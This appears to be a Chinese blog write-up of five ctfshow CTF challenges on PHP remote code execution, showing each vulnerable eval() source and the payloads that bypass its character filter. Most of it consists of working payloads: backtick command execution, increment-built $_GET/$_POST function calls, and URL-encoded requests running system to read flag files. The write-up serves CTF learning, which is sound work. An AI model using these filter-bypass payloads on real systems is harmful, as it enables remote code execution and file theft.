热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ctfshowRCE极限挑战

本周ctfshow的挑战注重点为RCE,主要利用是:自增绕过RCERCE挑战1属于简单类型源码error_reporting(0);highlig




本周ctfshow的挑战注重点为RCE,主要利用是:自增绕过RCE


RCE挑战1



属于简单类型


源码

error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);

发现过滤了(.,我们可以利用反引号执行命令 echo输出

code=echo `ls /`;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sxlrpVYo-1668950575883)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118145758514.png)]

输出flag

code=echo `cat /f1agaaa`;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6qVbdFFU-1668950575884)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118145815342.png)]


RCE挑战2



比较简单的


打开题目 审计源码

error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

我们跑一下 看看哪些字符没有被过滤


for ($i&#61;32;$i<127;$i&#43;&#43;){
if (!preg_match("/[a-zA-Z0-9&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",chr($i))){
echo chr($i)." ";
}
}

结果&#xff1a;

! $ &#39; ( ) &#43; , . / ; &#61; [ ] _

可以考虑$_绕过&#xff01;&#xff08;自增绕过&#xff09;

编写

$_&#61;[]._;$__&#61;$_[&#39;!&#39;&#61;&#61;&#39;&#61;&#39;];$__&#43;&#43;;$__&#43;&#43;;$__&#43;&#43;;$___&#61;&#43;&#43;$__;&#43;&#43;$__;$___&#61;&#43;&#43;$__.$___;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;$___&#61;$___.&#43;&#43;$__;$_&#61;&#39;_&#39;.$___;($$_[_])($$_[__]);
//相当于 ($_GET[_])($_GET[__]) 使用的时候url编码一下

传入

?_&#61;system&__&#61;ls

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZTt2a0Ps-1668950575885)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118161938354.png)]

找flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VisaQcTH-1668950575885)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118162003296.png)]

POST:
ctf_show&#61;%24_%3D%5B%5D._%3B%24__%3D%24_%5B&#39;!&#39;%3D%3D&#39;%3D&#39;%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D&#39;_&#39;.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B
GET:
?_&#61;system&__&#61;cat /f*

RCE挑战3



限制字符的自增 对于我来说较难


源码

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势&#xff0c;太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[&#39;ctf_show&#39;])) {
$ctfshow &#61; $_POST[&#39;ctf_show&#39;];
if (is_string($ctfshow) && strlen($ctfshow) <&#61; 105) {
if (!preg_match("/[a-zA-Z2-9!&#39;&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

fuzz测试什么没有被过滤

for ($i&#61;32;$i<127;$i&#43;&#43;){
if (!preg_match("/[a-zA-Z2-9!&#39;&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",chr($i))){
echo chr($i);
}
}

输出

$()&#43;,./01;&#61;[]_

要保证构造payload长度小于105而且还是自增rce

使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST _/_ &#61;&#61; NAN

构造的payload

$_&#61;(_/_._)[0];$_0&#61;&#43;&#43;$_;$_0&#61;&#43;&#43;$_.$_0;&#43;&#43;$_;&#43;&#43;$_;$_0.&#61;&#43;&#43;$_;$_0.&#61;&#43;&#43;$_;$_&#61;_.$_0;($$_[0])($$_[1]);

传入参数

POST:
ctf_show&#61;%24_%3D(_%2F_._)%5B0%5D%3B%24_0%3D%2B%2B%24_%3B%24_0%3D%2B%2B%24_.%24_0%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_%3D_.%24_0%3B(%24%24_%5B0%5D)(%24%24_%5B1%5D)%3B&0&#61;system&1&#61;cat /f1agaaa

RCE挑战4

源码


//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势&#xff0c;太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[&#39;ctf_show&#39;])) {
$ctfshow &#61; $_POST[&#39;ctf_show&#39;];
if (is_string($ctfshow) && strlen($ctfshow) <&#61; 84) {
if (!preg_match("/[a-zA-Z1-9!&#39;&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

要求字符小于等于84

fuzz测试&#xff0c;可用字符

$()&#43;,./0;&#61;[]_
$()&#43;,./;&#61;[]_

构造

$_&#61;(_/_._)[0];&#43;&#43;$_;$__&#61;$_.$_&#43;&#43;;&#43;&#43;$_;&#43;&#43;$_;&#43;&#43;$_;$__.&#61;$_&#43;&#43;.$_;$_&#61;_.$__;$$_[_]($$_[0]);
// 分析一下
//1.(_/_._)[0]&#61;&#61;N
//$__&#61;$_.$_&#43;&#43;; 此时的$_&#61;O $_.$_&#43;&#43;; 这个顺序是&#xff08;实验得出来的&#xff09;&#xff1a;
// 先使用 后自增 最后使用 $__&#61;$_.O; -> $_&#43;&#43; -> $__&#61;P.O;

payload

ctf_show&#61;%24_%3D(_%2F_._)%5B0%5D%3B%2B%2B%24_%3B%24__%3D%24_.%24_%2B%2B%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24__.%3D%24_%2B%2B.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_&#61;system&0&#61;nl /f1agaaa

RCE挑战5

源码

highlight_file(__FILE__);
if (isset($_POST[&#39;ctf_show&#39;])) {
$ctfshow &#61; $_POST[&#39;ctf_show&#39;];
if (is_string($ctfshow) && strlen($ctfshow) <&#61; 73) {
if (!preg_match("/[a-zA-Z0-9!&#39;&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

限制传入的参数长度小于等于73

fuzz测试哪些字符没有被过滤

for ($i&#61;32;$i<127;$i&#43;&#43;){
if (!preg_match("/[a-zA-Z0-9!&#39;&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",chr($i))){
echo chr($i);
}
}
// $()&#43;,./;&#61;[]_

构造payload

# 第一种 &#xff01;&#xff01;知识点&#xff01;&#xff01; 直接使用_POST当做参数
$_&#61;(_/_._)[_];$_&#43;&#43;;$__&#61;$_.$_&#43;&#43;;&#43;&#43;$_;&#43;&#43;$_;$$_[$_&#61;_.$__.&#43;&#43;$_.&#43;&#43;$_]($$_[_]);
第一个参数&#xff1a;_POST 第二个参数&#xff1a;_
# 借助ctfshow群里佬的payload tql
# 第二种
# 不可见字符替换 &#xff01;&#xff01;知识点&#xff01;&#xff01;
$_&#61;(_/_._)[_];&#43;&#43;$_;$a&#61;$_.$_&#43;&#43;;&#43;&#43;$_;&#43;&#43;$_;$_&#61;_.$a.&#43;&#43;$_.&#43;&#43;$_;$$_[_]($$_[a]);
# 转为url后将a改为 %ff $fe 等不可见字符
ctf_show&#61;$%ff&#61;_(%ff/%ff)[%ff];$_&#61;%2b%2b$%ff;$_&#61;_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.&#61;%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_&#61;system&%ff&#61;cat /f1agaaa

另外更有大佬的payload

phpinfo安装了一个扩展gettext&#xff0c;该扩展支持函数_() ,相当于gettext()&#xff0c;直接转化为字符串


$a&#61;_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_&#61;&#43;&#43;$a;//O
$_&#61;_.&#43;&#43;$a.$_;//_PO
$a&#43;&#43;;$a&#43;&#43;;//R
$_.&#61;&#43;&#43;$a.&#43;&#43;$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])






推荐阅读
  • 本文介绍了如何在iOS平台上使用GLSL着色器将YV12格式的视频帧数据转换为RGB格式,并展示了转换后的图像效果。通过详细的技术实现步骤和代码示例,读者可以轻松掌握这一过程,适用于需要进行视频处理的应用开发。 ... [详细]
  • 本文探讨了在Python中使用序列号字符串进行高效模式替换的方法。具体而言,通过将HTML标签中的`&`替换为`{n}`,并生成形如`[tag, {n}]`的哈希原始字符串。示例字符串为:“这是一个字符串。这是另一部分。”该方法能够有效提升替换操作的性能和可读性。 ... [详细]
  • 在处理木偶评估函数时,我发现可以顺利传递本机对象(如字符串、列表和数字),但每当尝试将JSHandle或ElementHandle作为参数传递时,函数会拒绝接受这些对象。这可能是由于这些句柄对象的特殊性质导致的,建议在使用时进行适当的转换或封装,以确保函数能够正确处理。 ... [详细]
  • 本指南从零开始介绍Scala编程语言的基础知识,重点讲解了Scala解释器REPL(读取-求值-打印-循环)的使用方法。REPL是Scala开发中的重要工具,能够帮助初学者快速理解和实践Scala的基本语法和特性。通过详细的示例和练习,读者将能够熟练掌握Scala的基础概念和编程技巧。 ... [详细]
  • 本文总结了JavaScript的核心知识点和实用技巧,涵盖了变量声明、DOM操作、事件处理等重要方面。例如,通过`event.srcElement`获取触发事件的元素,并使用`alert`显示其HTML结构;利用`innerText`和`innerHTML`属性分别设置和获取文本内容及HTML内容。此外,还介绍了如何在表单中动态生成和操作``元素,以便更好地处理用户输入。这些技巧对于提升前端开发效率和代码质量具有重要意义。 ... [详细]
  • JavaScript XML操作实用工具类:XmlUtilsJS技巧与应用 ... [详细]
  • Workbench 流固耦合分析:选择经典APDL还是现代Workbench?一文帮你做出明智决策
    随着ACT插件的推出,经典版APDL的大部分高级功能已成功迁移至现代Workbench平台。本文将深入探讨Workbench在流固耦合分析中的应用,帮助读者在经典APDL与现代Workbench之间做出明智的选择。通过对比两者的功能、易用性和扩展性,我们将为用户提供全面的参考信息,助力其在工程仿真领域取得更好的成果。 ... [详细]
  • 深入解析 Android 中 EditText 的 getLayoutParams 方法及其代码应用实例 ... [详细]
  • 在Android应用开发中,实现与MySQL数据库的连接是一项重要的技术任务。本文详细介绍了Android连接MySQL数据库的操作流程和技术要点。首先,Android平台提供了SQLiteOpenHelper类作为数据库辅助工具,用于创建或打开数据库。开发者可以通过继承并扩展该类,实现对数据库的初始化和版本管理。此外,文章还探讨了使用第三方库如Retrofit或Volley进行网络请求,以及如何通过JSON格式交换数据,确保与MySQL服务器的高效通信。 ... [详细]
  • 本文探讨了如何利用 jQuery 的 JSONP 技术实现跨域调用外部 Web 服务。通过详细解析 JSONP 的工作原理及其在 jQuery 中的应用,本文提供了实用的代码示例和最佳实践,帮助开发者解决跨域请求中的常见问题。 ... [详细]
  • 2018年9月21日,Destoon官方发布了安全更新,修复了一个由用户“索马里的海贼”报告的前端GETShell漏洞。该漏洞存在于20180827版本的某CMS中,攻击者可以通过构造特定的HTTP请求,利用该漏洞在服务器上执行任意代码,从而获得对系统的控制权。此次更新建议所有用户尽快升级至最新版本,以确保系统的安全性。 ... [详细]
  • 如何在MySQL中选择合适的表空间以优化性能和管理效率
    在MySQL中,合理选择表空间对于提升表的管理和访问性能至关重要。表空间作为MySQL中用于组织和管理数据的一种机制,能够显著影响数据库的运行效率和维护便利性。通过科学地配置和使用表空间,可以优化存储结构,提高查询速度,简化数据管理流程,从而全面提升系统的整体性能。 ... [详细]
  • 解决lib-flexible安装过程中遇到的错误问题
    在安装 lib-flexible 时,遇到了 `saveError ENOENT: No such file or directory` 错误,具体表现为无法打开 `E:\Github\SDIO\package.json` 文件。解决此问题的关键在于确保项目根目录下存在 `package.json` 文件,并且在正确的项目路径中执行安装命令。建议先检查项目结构,确认文件是否存在,然后再尝试重新安装依赖。 ... [详细]
  • 本文详细介绍了 jQuery 的入门知识与实战应用,首先讲解了如何引入 jQuery 库及入口函数的使用方法,为初学者提供了清晰的操作指南。此外,还深入探讨了 jQuery 在实际项目中的多种应用场景,包括 DOM 操作、事件处理和 AJAX 请求等,帮助读者全面掌握 jQuery 的核心功能与技巧。 ... [详细]
  • Go 项目中数据库配置文件的优化与应用 ... [详细]
author-avatar
青青河边羊
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有